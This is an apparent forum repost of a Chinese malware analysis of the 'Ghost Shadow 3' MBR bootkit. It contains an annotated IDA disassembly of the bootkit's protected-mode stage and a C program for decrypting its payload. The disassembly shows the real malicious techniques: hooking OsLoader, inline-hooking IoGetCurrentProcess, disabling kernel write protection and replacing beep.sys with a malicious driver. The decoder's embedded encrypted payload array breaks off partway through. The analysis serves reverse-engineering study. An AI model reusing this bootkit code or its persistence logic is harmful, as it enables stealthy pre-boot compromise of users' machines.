首页
社区
课程
招聘
[旧帖] [转帖]鬼影3样本Mbr之后保护模式代码详细注释 0.00雪花
发表于: 2011-11-12 09:03 1932

[旧帖] [转帖]鬼影3样本Mbr之后保护模式代码详细注释 0.00雪花

2011-11-12 09:03
1932
原文链接:http://blog.csdn.net/gaa_ra/article/details/6593860
    今天和明天是最后两天宿舍有空调的日子啦,暑假宿舍没空调啊,悲催T__T
     好吧,今天是最精华的部分啦对于鬼影3的分析,剩下的都是浮云啦,alg.exe不准备分析了,能用OD调试的货.分析起来只是时间问题.但是MBR和之后的保护模式的代码就不一样啦同学们,纯静态分析,伤不起啊,各种硬编码,自修改!T__T
    今天给出3份东西,包括1,详细注解;2,一个对磁盘病毒加密内容进行解密的程序代码(参考上一篇的磁盘布局);3,一个通过保护模式里面提供的函数名hash值获取函数名的程序代码.
    我稍微说一下鬼影3是如何通过修改MBR进而在系统启动之前获取到控制权,加载自己的Hello_tt.sys的.具体的代码和注释可以参考我前面两篇文章,有爱请猛击吧亲:
    这篇是对于鬼影3感染系统的mb.exe和hello_tt.sys的反汇编代码还原为C代码,包含大量注释(虽然不能编译)http://blog.csdn.net/gaa_ra/article/details/6589324
    这篇是对于鬼影3修改的MBR进行详细的分析注释,包括了HOOK INT 13h部分和HOOK OsLoader.exe部分的说明http://blog.csdn.net/gaa_ra/article/details/6593860
    过程大概如下:
1.首先VirusMbr复制自身到内存当中,然后跳过去复制的内存当中执行.
2.通过int 13h的扩展读功能把病毒写在硬盘当中的内容复制到内存里,主要复制的是加密部分,包括保护模式代码,Hello_tt.sys和加密的系统原Mbr
3.接下来对内存当中的加密内容进行解密,这样系统原Mbr也解密出来了
4.对int 13h中断进行hook,之后把系统原Mbr加载到内存0x7c00处,返回执行系统原Mbr指令
5.由于hook了int 13h中断,对于2h和42h子功能进行过滤,但系统加载ntldr文件的时候,对OsLoader.exe进行hook,科普一下,ntldr = Startup.com(16位) + OsLoader.exe(PE文件,32位)
6.通过查找指定序列签名Hook OsLoader.exe,主要挂钩的地方是_BlLoadBootDriver@12处的下一句代码,之后OsLoader.exe执行的时候病毒会再次获得控制权
7.当病毒再次获取到控制权,此时系统已近通过Startup.com切换到保护模式下了,这部分代码的详细注解后面给出,病毒搜索OsLoader.exe的代码空间,获取_BlLoaderBlock地址,如图1

图1,红框圈起来是搜索代码的表示,最终获取的是415921 A1后的4个字节,即_BlLoaderBlock地址
8.获取了_BlLoaderBlock之后,通过该结构得到ntoskrnl.exe的加载基址,查找IoGetCurrentProcess,对该函数进行Inline Hook,修改函数头部5字节,之后返回OsLoader.exe继续执行
9.当系统调用IoGetCurrentPorcess的时候病毒重新获得控制权,此时病毒把自身复制到内核共享用户数据区当中(FFDF0800h处开始),然后跳转过去继续执行.
10.病毒对IoGetCurrentProcess的Inline Hook进行恢复,之后通过创建一个系统线程对beep.sys进行替换工作.这样就能保证病毒在操作系统完全加载之前获得执行权限了
    上面说的过程只是大概,具体可以参考详细的反汇编代码,有详细的注释^_^
    下面是保护模式部分的反汇编代码
[COLOR="DarkGreen"]/*++ 
@file  VirusProtectMode.asm 
@auth       GaA.Ra 
@date      2011.7.9 
--*/  
  
/* 
seg000:00000000 ; 
seg000:00000000 ; +-------------------------------------------------------------------------+ 
seg000:00000000 ; |   This file has been generated by The Interactive Disassembler (IDA)    | 
seg000:00000000 ; |           Copyright (c) 2011 Hex-Rays, <support@hex-rays.com>           | 
seg000:00000000 ; |                      License info: B3-432E-F558-21                      | 
seg000:00000000 ; |                             Ilfak Guilfanov                             | 
seg000:00000000 ; +-------------------------------------------------------------------------+ 
seg000:00000000 ; 
seg000:00000000 ; Input MD5   : 737381F9C678B050E5399CB283B0E6F9 
seg000:00000000 ; Input CRC32 : D3822E1D 
seg000:00000000 
seg000:00000000 ; File Name   : D:\SourceLib\MyCode\TestProj\ReverseEng\鬼影3样本\VirusMbr_Next.bin 
seg000:00000000 ; Format      : Binary file 
seg000:00000000 ; Base Address: 0000h Range: 0000h - 02D5h Loaded length: 02D5h 
seg000:00000000 
seg000:00000000                 include uni.inc ; see unicode subdir of ida for info on unicode 
seg000:00000000 
seg000:00000000                 .686p 
seg000:00000000                 .mmx 
seg000:00000000                 .model flat 
seg000:00000000 
seg000:00000000 ; =========================================================================== 
seg000:00000000 
seg000:00000000 ; Segment type: Pure code 
seg000:00000000 seg000          segment byte public 'CODE' use32 
seg000:00000000                 assume cs:seg000 
seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing 
seg000:00000000                 dd 9C204h               ; ntldr hook call address 
seg000:00000004 ; --------------------------------------------------------------------------- 
seg000:00000004                 pushf 
seg000:00000005                 pusha 
seg000:00000006                 mov     edi, [esp+24h]  ; [ESP+24h]为EIP,指向OsLoader 
seg000:00000006                                         ; 存到EDI调整后供搜索使用 
seg000:0000000A                 and     edi, 0FFF00000h ; 将EDI调整为镜像基址 
seg000:00000010                 cld 
seg000:00000011                 mov     al, 0C7h ; '  ; 搜索标志40003446h的前一个字节,可以参考图片 
seg000:00000013 
seg000:00000013 @ModuleList_SigLoop:                    ; CODE XREF: seg000:00000014↓j 
seg000:00000013                                         ; seg000:0000001C↓j 
seg000:00000013                 scasb                   ; 将edi与al进行比较,每次执行后edi+1 
seg000:00000014                 jnz     short @ModuleList_SigLoop 
seg000:00000016                 cmp     dword ptr [edi], 40003446h ; 搜索标志,具体代码可以参考图片 
seg000:0000001C                 jnz     short @ModuleList_SigLoop 
seg000:0000001E                 mov     al, 0A1h ; '  ; 下一句代码是把_BlLoaderBlock写入EAX 
seg000:0000001E                                         ; 搜索这句代码机器码的第一个字节,之后 
seg000:0000001E                                         ; 的便是_BlLoaderBlock地址 
seg000:0000001E                                         ; A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx] 
seg000:00000020 
seg000:00000020 @ModuleList_BaseAddrLoop:               ; CODE XREF: seg000:00000021↓j 
seg000:00000020                 scasb 
seg000:00000021                 jnz     short @ModuleList_BaseAddrLoop 
seg000:00000023                 mov     esi, [edi]      ; ESI <- LIST_ENTRY 
seg000:00000023                                         ; struct _BlLoaderBlock 
seg000:00000023                                         ; { 
seg000:00000023                                         ;   +00h  LIST_ENTRY      module list links 
seg000:00000023                                         ;   +08h  [10h]           ??? 
seg000:00000023                                         ;   +18h  PTR             image base address 
seg000:00000023                                         ;   +1Ch  PTR             module entry point 
seg000:00000023                                         ;   +20h  DWORD           size of loaded module in memory 
seg000:00000023                                         ;   +24h  UNICODE_STRING  full module path and file name 
seg000:00000023                                         ;   +2Ch  UNICODE_STRING  module file name 
seg000:00000023                                         ; }; 
seg000:00000025                 mov     esi, [esi]      ; ESI <- 链表上第一个节点,应该是头节点List_Head 
seg000:00000027                 lodsd                   ; 获取第二个节点,存入EAX(第一个有效的节点) 
seg000:00000028                 mov     ebx, [eax+18h]  ; EBX <- Image Base Address 
seg000:0000002B                 call    OverHookFunc    ; 调用OverHookFunc之后会直接返回 
seg000:0000002B                                         ; OsLoader.exe的执行流程当中 
seg000:00000030                 sub     dword ptr [esp], 5 ; @IoGetCurrentProcessHook起始地址 
seg000:00000030                                         ; 这部分代码将会被写入Ntoskrnl.exe 
seg000:00000030                                         ; 内存镜像当中,代码长度0x37 
seg000:00000037                 pusha                   ; 
seg000:00000037                                         ; 下面部分的代码完成的功能主要是 
seg000:00000037                                         ; 修改固定页表的第一页地址,改成Mbr 
seg000:00000037                                         ; 之前申请的内存空间,Mbr当中已经 
seg000:00000037                                         ; 考虑了4KB对齐问题,之后把代码复制 
seg000:00000037                                         ; 300h直接到用户共享数据区地址是 
seg000:00000037                                         ; FFDF0800h,之后返回到FFDF08AF继续 
seg000:00000037                                         ; 执行 
seg000:00000038                 mov     eax, 9C001h     ; 我们的代码当前所在物理内存位置是9C001开始 
seg000:0000003D                 xor     ecx, ecx 
seg000:0000003F                 mov     ch, 3           ; cx = 300h, 代码长度300h 
seg000:00000041                 mov     edx, 0C0000000h ; 固定页表的第一个表项 
seg000:00000046                 mov     esi, 200h       ; Mbr当中已经做过4KB对齐, 
seg000:00000046                                         ; 现在代码地址在9C200 
seg000:0000004B                 mov     edi, 0FFDF0800h ; 内核当中共享用户数据区地址 
seg000:00000050                 xchg    eax, [edx]      ; 修改第一个页表地址到9C001 
seg000:00000052                 wbinvd                  ; 特权指令,使CACHE失效,目的应该是把 
seg000:00000052                                         ; 数据写到内存里,避免在CPU的缓存当中 
seg000:00000054                 rep movsb               ; 拷贝数据过去FFDF0800h 
seg000:00000056                 mov     [edx], eax      ; 恢复固定页表的第一个表项 
seg000:00000058                 wbinvd 
seg000:0000005A                 push    0               ; 这句代码已经在Hook函数当中做过修改 
seg000:0000005C                 push    0               ; 这句代码已经在Hook函数当中做过修改 
seg000:00000061                 push    0FFDF08AFh      ; 返回到FFDF08AFh继续执行病毒代码 
seg000:00000066                 retn 
seg000:00000067 
seg000:00000067 ; =============== S U B R O U T I N E ======================================= 
seg000:00000067 
seg000:00000067 
seg000:00000067 OverHookFunc    proc near               ; CODE XREF: seg000:0000002B↑p 
seg000:00000067 
seg000:00000067 arg_24          = dword ptr  28h 
seg000:00000067 
seg000:00000067                 pop     esi             ; call过来的,堆栈上是函数返回地址 
seg000:00000067                                         ; 也就是ESI为@IoGetCurrentProcessHook的起始地址 
seg000:00000068                 mov     ecx, 37h ; '7'  ; @IoGetCurrentProcessHook函数的代码长度,这里是硬编码37h 
seg000:0000006D                 mov     [esi+204h], ebx ; EBX: Image Base Address 
seg000:0000006D                                         ; 把EBX写入@IoGetCurrentProcessHook+204h 
seg000:0000006D                                         ; 234h处,修改代码写入镜像基址,如图2 
seg000:00000073                 lea     edi, [ebx+40h]  ; EDI <- Image Base Address + 40h 
seg000:00000076                 mov     ebp, edi        ; 保存@IoGetCurrentProcessHook地址后面使用 
seg000:00000078                 rep movsb               ; 把@IoGetCurrentProcessHook的代 
seg000:00000078                                         ; 码写入ImageBaseAddress+40h处 
seg000:0000007A                 push    0CE8C3177h      ; Hash:IoGetCurrentProcess 
seg000:0000007A                                         ; 要查找的函数名32位HASH值 
seg000:0000007F                 call    @GetExport 
seg000:00000084                 xchg    eax, esi 
seg000:00000085                 sub     edi, 0Ah 
seg000:0000008B                 movsd 
seg000:0000008C                 sub     edi, 6 
seg000:00000092                 movsb                   ; 上面的代码修改@IoGetCurrentProcessHook代码 
seg000:00000092                                         ; 使能够正确的返回到系统的IoGetCurrentProcess 
seg000:00000093                 mov     byte ptr [esi-5], 0E8h ; ' 
seg000:00000097                 sub     ebp, esi 
seg000:00000099                 mov     [esi-4], ebp    ; 上面的代码主要完成的功能是 
seg000:00000099                                         ; Inline Hook IoGetCurrentProcess 
seg000:00000099                                         ; 修改头5个字节为EB XXXXXXXX(ebp内容) 
seg000:00000099                                         ; 即CALL EBP,而EBP里面保存的是 
seg000:00000099                                         ; @IoGetCurrentProcessHook地址 
seg000:0000009C                 popa 
seg000:0000009D                 popf 
seg000:0000009E                 mov     esi, eax        ; OsLoader.exe 覆盖的代码 
seg000:000000A0                 test    eax, eax        ; OsLoader.exe 覆盖的代码 
seg000:000000A2                 jnz     short @PatchFunction_done_nojz ; 返回到OsLoader.exe当中执行,当系统 
seg000:000000A2                                         ; 调用IoGetCurrentProcess()时候鬼影 
seg000:000000A2                                         ; 3会继续获得系统的控制权 
seg000:000000A4                 pushf 
seg000:000000A5                 add     [esp-24h+arg_24], 21h ; '!' ; 
seg000:000000A5                                         ; 这里是返回到OsLoader.exe当中 
seg000:000000A5                                         ; 由于修改了OsLoader.exe如下 
seg000:000000A5                                         ; .text:00422A6F mov     esi, eax 
seg000:000000A5                                         ; .text:00422A71 test    esi, esi 
seg000:000000A5                                         ; .text:00422A73 jz      short loc_422A96 
seg000:000000A5                                         ; .text:00422A75 
seg000:000000A5                                         ; 进行恢复之后,如果要跳转到422A96 
seg000:000000A5                                         ; 那么就修改栈上的返回地址(422A75) 
seg000:000000A5                                         ; 加上21h,变为422A96 
seg000:000000AD                 popf 
seg000:000000AE 
seg000:000000AE @PatchFunction_done_nojz:               ; CODE XREF: OverHookFunc+3B↑j 
seg000:000000AE                 retn                    ; 返回到OsLoader.exe当中执行,当系统 
seg000:000000AE OverHookFunc    endp ; sp-analysis failed ; 调用IoGetCurrentProcess()时候鬼影 
seg000:000000AE                                         ; 3会继续获得系统的控制权 
seg000:000000AF ; --------------------------------------------------------------------------- 
seg000:000000AF                 mov     ebp, esp 
seg000:000000B1                 mov     edi, [ebp+28h]  ; 这句是没必要的,病毒作者抄的RootBoot代码 
seg000:000000B4                 mov     ecx, cr0 
seg000:000000B7                 mov     edx, ecx 
seg000:000000B9                 and     ecx, 0FFFEFFFFh ; 去除内存页的写保护,通过CR0的第17位设置 
seg000:000000BF                 mov     cr0, ecx 
seg000:000000C2                 pop     eax             ; 返回过来的时候总共往栈中压入 
seg000:000000C2                                         ; 5个字节,这5个字节就是IoGetCurrentProcess 
seg000:000000C2                                         ; 函数前5个字节,这里进行恢复工作 
seg000:000000C3                 stosd                   ; 恢复工作 
seg000:000000C4                 pop     eax             ; 恢复工作 
seg000:000000C5                 stosb                   ; 恢复工作 
seg000:000000C6                 mov     cr0, edx        ; 恢复内存页的写保护 
seg000:000000C9                 jb      short loc_CE 
seg000:000000CB                 jnb     short loc_CE 
seg000:000000CB ; --------------------------------------------------------------------------- 
seg000:000000CD                 db  20h 
seg000:000000CE ; --------------------------------------------------------------------------- 
seg000:000000CE 
seg000:000000CE loc_CE:                                 ; CODE XREF: seg000:000000C9↑j 
seg000:000000CE                                         ; seg000:000000CB↑j 
seg000:000000CE                 enter   4, 0 
seg000:000000D2                 push    136E47C7h       ; Hash:PsCreateSystemThread 
seg000:000000D7                 call    @GetExport      ; 获取PsCreateSystemThread地址 
seg000:000000DC                 lea     ebx, [ebp-4] 
seg000:000000DF                 push    0 
seg000:000000E4                 push    0FFDF0903h 
seg000:000000E9                 push    0 
seg000:000000EE                 push    0 
seg000:000000F3                 push    0 
seg000:000000F8                 push    0 
seg000:000000FD                 push    ebx 
seg000:000000FE                 call    eax             ; 调用PsCreateSystemThread() 
seg000:000000FE                                         ; 创建了一个新的系统线程,这个 
seg000:000000FE                                         ; 线程的代码地址是FFDF0903h 
seg000:000000FE                                         ; 暂时称为@StartRoutine 
seg000:00000100                 leave 
seg000:00000101                 popa 
seg000:00000102                 retn 
seg000:00000103 ; --------------------------------------------------------------------------- 
seg000:00000103                 pusha                   ; @StartRoutine函数 
seg000:00000103                                         ; 这个函数就是病毒花这么大的力气 
seg000:00000103                                         ; 得到控制权想要完成的事情,在系统 
seg000:00000103                                         ; 加载之前把自己的Hello_tt.sys替 
seg000:00000103                                         ; 换系统的Beep.sys,由于系统正常需 
seg000:00000103                                         ; 要加载Beep.sys,所以病毒这样就获 
seg000:00000103                                         ; 取在操作系统当中执行的机会了,之前 
seg000:00000103                                         ; 我们分析过,Hello_tt.sys会写入 
seg000:00000103                                         ; c:\alg.exe和他的启动项,这样,系统 
seg000:00000103                                         ; 启动之后首先加载病毒的sys,然后病毒 
seg000:00000103                                         ; 写入alg.exe,注册表项,之后操作系统 
seg000:00000103                                         ; 再根据注册表启动项执行alg.exe 
seg000:00000103                                         ; GAME OVER~~ 
seg000:00000104                 enter   40h, 0 
seg000:00000108 
seg000:00000108 ZwCreateFile_Loop:                      ; CODE XREF: seg000:000001AD↓j 
seg000:00000108                                         ; seg000:000001D5↓j 
seg000:00000108                 mov     dword ptr [ebp-8], 0FFFFFFFFh 
seg000:0000010F                 mov     dword ptr [ebp-0Ch], 0FECED300h 
seg000:00000116                 push    0CC06CD48h      ; Hash:KeDelayExecutionThread 
seg000:0000011B                 call    @GetExport 
seg000:00000120                 lea     ebx, [ebp-0Ch] 
seg000:00000123                 push    ebx 
seg000:00000124                 push    0 
seg000:00000129                 push    0 
seg000:0000012E                 call    eax             ; 调用KeDelayExecutionThread() 
seg000:00000130                 lea     ecx, [ebp-18h] 
seg000:00000133                 mov     dword ptr [ecx], 18h 
seg000:00000139                 and     dword ptr [ecx+4], 0 
seg000:00000140                 mov     dword ptr [ecx+0Ch], 40h ; '@' 
seg000:00000147                 and     dword ptr [ecx+10h], 0 
seg000:0000014E                 and     dword ptr [ecx+14h], 0 
seg000:00000155                 mov     eax, 0FFDF0A85h 
seg000:0000015A                 mov     dword ptr [eax+0], 0FFDF0A89h 
seg000:00000164                 mov     dword ptr [ecx+8], 0FFDF0A81h 
seg000:0000016E                 push    25298A1Dh       ; Hash:ZwCreateFile 
seg000:00000173                 call    @GetExport 
seg000:00000178                 lea     ebx, [ebp-24h] 
seg000:0000017B                 lea     edx, [ebp-20h] 
seg000:0000017E                 push    0 
seg000:00000183                 push    0 
seg000:00000188                 push    20h ; ' ' 
seg000:0000018D                 push    5 
seg000:00000192                 push    0 
seg000:00000197                 push    80h ; '€' 
seg000:0000019C                 push    0 
seg000:000001A1                 push    edx 
seg000:000001A2                 push    ecx 
seg000:000001A3                 push    40000000h 
seg000:000001A8                 push    ebx 
seg000:000001A9                 call    eax             ; 调用ZwCreateFile打开Beep.sys文件 
seg000:000001A9                                         ; 之后把病毒的Hello_tt.sys数据写入 
seg000:000001A9                                         ; 替换系统的正常文件 
seg000:000001AB                 or      eax, eax 
seg000:000001AD                 jnz     ZwCreateFile_Loop ; 打开文件直到成功 
seg000:000001B3                 push    0 
seg000:000001B8                 push    2800h 
seg000:000001BD                 push    0 
seg000:000001C2                 push    9C000h 
seg000:000001C7                 push    0FCE7EE0Ch      ; Hash:MmMapIoSpace 
seg000:000001CC                 call    @GetExport 
seg000:000001D1                 call    eax 
seg000:000001D3                 or      eax, eax 
seg000:000001D5                 jz      ZwCreateFile_Loop 
seg000:000001DB                 mov     ebx, eax 
seg000:000001DD                 add     ebx, 4D5h 
seg000:000001E3                 lea     ecx, [ebp-20h] 
seg000:000001E6                 push    7E3ACF7h        ; Hash:ZwWriteFile 
seg000:000001EB                 call    @GetExport 
seg000:000001F0                 push    0 
seg000:000001F5                 push    0 
seg000:000001FA                 push    1A00h 
seg000:000001FF                 push    ebx 
seg000:00000200                 push    ecx 
seg000:00000201                 push    0 
seg000:00000206                 push    0 
seg000:0000020B                 push    0 
seg000:00000210                 push    dword ptr [ebp-24h] 
seg000:00000213                 call    eax 
seg000:00000215                 push    0FD929378h      ; Hash:ZwClose 
seg000:0000021A                 call    @GetExport 
seg000:0000021F                 push    dword ptr [ebp-24h] 
seg000:00000222                 call    eax 
seg000:00000224                 leave 
seg000:00000225                 popa 
seg000:00000226                 retn    4 
seg000:00000229 
seg000:00000229 ; =============== S U B R O U T I N E ======================================= 
seg000:00000229 
seg000:00000229 ; Attributes: bp-based frame 
seg000:00000229 
seg000:00000229 @GetExport      proc near               ; CODE XREF: OverHookFunc+18↑p 
seg000:00000229                                         ; seg000:000000D7↑p ... 
seg000:00000229 
seg000:00000229 var_4           = dword ptr -4 
seg000:00000229 FunctionNameHash= dword ptr  8 
seg000:00000229 NumberOfNames   = dword ptr  18h 
seg000:00000229 AddressOfFunctions= dword ptr  1Ch 
seg000:00000229 AddressOfNames  = dword ptr  20h 
seg000:00000229 AddressOfNameOrdinals= dword ptr  24h 
seg000:00000229 
seg000:00000229                 enter   0, 0 
seg000:0000022D                 xor     eax, eax 
seg000:0000022F                 pusha 
seg000:00000230                 mov     edx, [ebp+FunctionNameHash] ; EDX <- FunctionNameHash 
seg000:00000233                 mov     ebx, 0          ; 注意这里已经通过上面的修改写成 
seg000:00000233                                         ; ImageBaseAddress了,参考图片 
seg000:00000238                 mov     ecx, [ebx+3Ch]  ; PE头部偏移 
seg000:0000023B                 mov     ebp, [ebx+ecx+78h] ; 输出表RVA 
seg000:0000023F                 add     ebp, ebx        ; 输出表指针 
seg000:00000241                 mov     ecx, [ebp+NumberOfNames] ; NumberOfNames 
seg000:00000244                 mov     edi, [ebp+AddressOfNames] ; AddressOfNames 
seg000:00000247                 add     edi, ebx 
seg000:00000249                 jecxz   short @GetExport_done 
seg000:0000024B 
seg000:0000024B @GetExport_NameLoop:                    ; CODE XREF: @GetExport+35↓j 
seg000:0000024B                 mov     esi, [edi]      ; 逐个处理函数名 
seg000:0000024D                 add     esi, ebx 
seg000:0000024F                 scasd                   ; EDI + 4, 下一个函数名的RVA 
seg000:00000250                 push    edx 
seg000:00000251 
seg000:00000251 @GetExport_NameHashLoop:                ; CODE XREF: @GetExport+30↓j 
seg000:00000251                 lodsb                   ; FunctionNameHash += _ROL_(FunctionName.Reverse(), 7) 
seg000:00000252                 sub     edx, eax 
seg000:00000254                 ror     edx, 7 
seg000:00000257                 test    eax, eax 
seg000:00000259                 jnz     short @GetExport_NameHashLoop 
seg000:0000025B                 test    edx, edx 
seg000:0000025D                 pop     edx 
seg000:0000025E                 loopne  @GetExport_NameLoop ; 逐个处理函数名 
seg000:00000260                 jnz     short @GetExport_done ; 若找不到跳转 
seg000:00000262                 not     ecx 
seg000:00000264                 mov     edx, [ebp+AddressOfNameOrdinals] 
seg000:00000267                 add     ecx, [ebp+NumberOfNames] 
seg000:0000026A                 add     edx, ebx 
seg000:0000026C                 mov     ax, [edx+ecx*2] 
seg000:00000270                 mov     ecx, [ebp+AddressOfFunctions] 
seg000:00000273                 add     ecx, ebx 
seg000:00000275                 add     ebx, [ecx+eax*4] 
seg000:00000278                 mov     [esp+20h+var_4], ebx ; ESP+1Ch = EAX重写栈中 
seg000:00000278                                         ; EAX内容之后POPA恢复,上面代码就 
seg000:00000278                                         ; 是把找到的函数地址写入EAX返回 
seg000:0000027C 
seg000:0000027C @GetExport_done:                        ; CODE XREF: @GetExport+20↑j 
seg000:0000027C                                         ; @GetExport+37↑j 
seg000:0000027C                 popa 
seg000:0000027D                 leave 
seg000:0000027E                 retn    4 
seg000:0000027E @GetExport      endp 
seg000:0000027E 
seg000:0000027E ; --------------------------------------------------------------------------- 
seg000:00000281                 db  4Ah ; J 
seg000:00000282                 db    0 
seg000:00000283                 db  4Ch ; L 
seg000:00000284                 db    0 
seg000:00000285                 db    0 
seg000:00000286                 db    0 
seg000:00000287                 db    0 
seg000:00000288                 db    0 
seg000:00000289 aSystemrootSyst: 
seg000:00000289                 unicode 0, <\SystemRoot\system32\drivers\beep.sys>,0 
seg000:00000289 seg000          ends 
seg000:00000289 
seg000:00000289 
seg000:00000289                 end 
*/  [/COLOR]


图2,自修改代码的地方,红色框框
    下面是福利,附加的两个程序,用来看解密的数据和通过Hash获取ntoskrnl.exe哪些函数
[COLOR="Green"]/*++ 
@file  DecodeVirusContent.cpp 
@auth             GaA.Ra 
@date            2011.7.8 
--*/  
  
#include <stdio.h>  
#include <windows.h>  
  
//  
//参考上一篇文章,data[9232]是ProtectMode Code + Hello_tt.sys +OriMbr加密数据  
//这里写个程序把内容解密了写到VirusContentDecode.bin里面  
// [/COLOR] 
unsigned char data[9232] = {  
    0x00, 0x00, 0x00, 0x00, 0xE4, 0x03, 0x5C, 0xE3, 0x21, 0x21, 0x0C, 0x3F, 0x00, 0x00, 0x87, 0xFF,   
    0xE7, 0x85, 0x3E, 0x75, 0xAB, 0xEF, 0x0C, 0xF9, 0x32, 0xA1, 0x00, 0x02, 0xAB, 0xAF, 0x85, 0x0D,   
    0x75, 0xAB, 0xEF, 0x5C, 0xB9, 0x5C, 0xB1, 0x6D, 0x5C, 0xC2, 0xC0, 0x47, 0xB9, 0x00, 0x00, 0x00,   
    0x0C, 0x61, 0x21, 0x28, 0x00, 0x00, 0x00, 0x03, 0xC5, 0x08, 0x00, 0x00, 0x00, 0x89, 0x4E, 0xAD,   
    0x18, 0xD5, 0x00, 0x00, 0x00, 0x06, 0xF5, 0x00, 0x10, 0x00, 0x00, 0xFD, 0x00, 0x40, 0xFE, 0xFF,   
    0x3C, 0x10, 0x78, 0x48, 0x9F, 0x25, 0x4C, 0x10, 0x78, 0x48, 0x53, 0x00, 0x43, 0x00, 0x00, 0x00,   
    0x00, 0x43, 0x7D, 0x40, 0xFE, 0xFF, 0x1E, 0xF2, 0xCD, 0xB9, 0x00, 0x00, 0x00, 0x4C, 0xF4, 0x20,   
    0x10, 0x00, 0x00, 0x6C, 0xDB, 0x02, 0x4C, 0xEF, 0x9F, 0x25, 0x43, 0xBB, 0x89, 0x64, 0x76, 0x47,   
    0x2D, 0x08, 0x00, 0x00, 0xB4, 0x0C, 0x7F, 0x50, 0x00, 0x00, 0x00, 0x2D, 0x0C, 0x7F, 0x30, 0x00,   
    0x00, 0x00, 0x25, 0x36, 0x32, 0xDF, 0x47, 0x49, 0xAF, 0x4C, 0x73, 0xE7, 0x0B, 0xEC, 0x4C, 0x36,   
    0x2C, 0x06, 0xAB, 0x50, 0xE4, 0x0C, 0x22, 0x21, 0x20, 0x09, 0x00, 0x00, 0x00, 0xEC, 0x1E, 0x4C,   
    0x2F, 0x5C, 0xEB, 0x41, 0x78, 0x01, 0x0E, 0x4C, 0x56, 0x0C, 0x0F, 0xFF, 0xFF, 0xF7, 0xFF, 0x78,   
    0x11, 0x0E, 0xC2, 0x5D, 0xC2, 0x55, 0x78, 0x11, 0x16, 0x93, 0x18, 0x9B, 0x08, 0x01, 0x46, 0x20,   
    0x00, 0x00, 0x43, 0x3E, 0x3A, 0x73, 0x98, 0x47, 0x6A, 0x08, 0x00, 0x00, 0x6C, 0xEA, 0xE7, 0x43,   
    0x00, 0x00, 0x00, 0x00, 0x43, 0x18, 0x48, 0xFE, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00,   
    0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0x86,   
    0x4E, 0x0B, 0x1E, 0x03, 0x46, 0x02, 0x00, 0x00, 0x3E, 0x2A, 0xC7, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E,   
    0x2A, 0xA7, 0x00, 0x9E, 0x76, 0xF7, 0x43, 0x42, 0x6E, 0x30, 0x66, 0x47, 0x48, 0x08, 0x00, 0x00,   
    0x6C, 0xEA, 0xA7, 0x9A, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x86,   
    0x6C, 0x6A, 0x47, 0x3E, 0x08, 0xC0, 0x00, 0x00, 0x00, 0x0C, 0x0B, 0x20, 0x00, 0x00, 0x00, 0x00,   
    0x3E, 0x0A, 0x60, 0x02, 0x00, 0x00, 0x00, 0x0C, 0x0B, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x0B,   
    0xA0, 0x00, 0x00, 0x00, 0x00, 0xC5, 0x2C, 0x50, 0xFE, 0xFF, 0x3E, 0x04, 0x00, 0x00, 0x00, 0x00,   
    0x4C, 0x50, 0xFE, 0xFF, 0x3E, 0x0C, 0x40, 0x00, 0x00, 0x00, 0x0C, 0x50, 0xFE, 0xFF, 0x43, 0xE8,   
    0x54, 0x49, 0x29, 0x47, 0x8D, 0x00, 0x00, 0x00, 0x6C, 0xEA, 0xE6, 0x6C, 0xAA, 0x07, 0x43, 0x00,   
    0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x01, 0x00, 0x00, 0x00, 0x43, 0x28, 0x00,   
    0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x04, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00,   
    0x00, 0x92, 0x8A, 0x43, 0x00, 0x00, 0x00, 0x02, 0x9A, 0xFF, 0x86, 0x48, 0x06, 0x78, 0x2C, 0xAA,   
    0xFF, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x41, 0x00, 0x00, 0x43, 0x00, 0x00,   
    0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x60, 0x77, 0x3F, 0xE7, 0x47, 0xC2, 0x00, 0x00,   
    0x00, 0xFF, 0x86, 0x48, 0x06, 0x78, 0x24, 0x69, 0xFF, 0xFF, 0xFF, 0x4C, 0x1E, 0x0C, 0x1E, 0xAE,   
    0x20, 0x00, 0x00, 0x6C, 0x6A, 0x07, 0x43, 0xBF, 0x65, 0x1F, 0x38, 0x47, 0xC9, 0x00, 0x00, 0x00,   
    0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0xD0, 0x00, 0x00, 0x9A,   
    0x8A, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00,   
    0xFF, 0xAB, 0xE6, 0xFF, 0x86, 0x43, 0xC3, 0x9C, 0x94, 0xEF, 0x47, 0x50, 0x00, 0x00, 0x00, 0xFF,   
    0xAB, 0xE6, 0xFF, 0x86, 0x4E, 0x0B, 0x16, 0x20, 0x00, 0x46, 0x00, 0x00, 0x00, 0x89, 0x06, 0x03,   
    0x5C, 0xAA, 0x40, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x5A, 0xE1, 0x5C, 0x63, 0x58, 0xC3, 0x08,   
    0xEE, 0x5C, 0x6A, 0xC0, 0x5C, 0xEB, 0x01, 0x08, 0xFE, 0x1F, 0x89, 0x5C, 0xB9, 0x08, 0xF6, 0x7D,   
    0x92, 0x65, 0x49, 0x16, 0x0E, 0x56, 0x38, 0x2C, 0x06, 0xAB, 0xB7, 0x2C, 0x96, 0xD2, 0x07, 0x5F,   
    0xAB, 0xD0, 0xBF, 0x8E, 0x5C, 0xAA, 0x21, 0x18, 0x6A, 0xC0, 0x08, 0xD6, 0x33, 0x5C, 0x20, 0x52,   
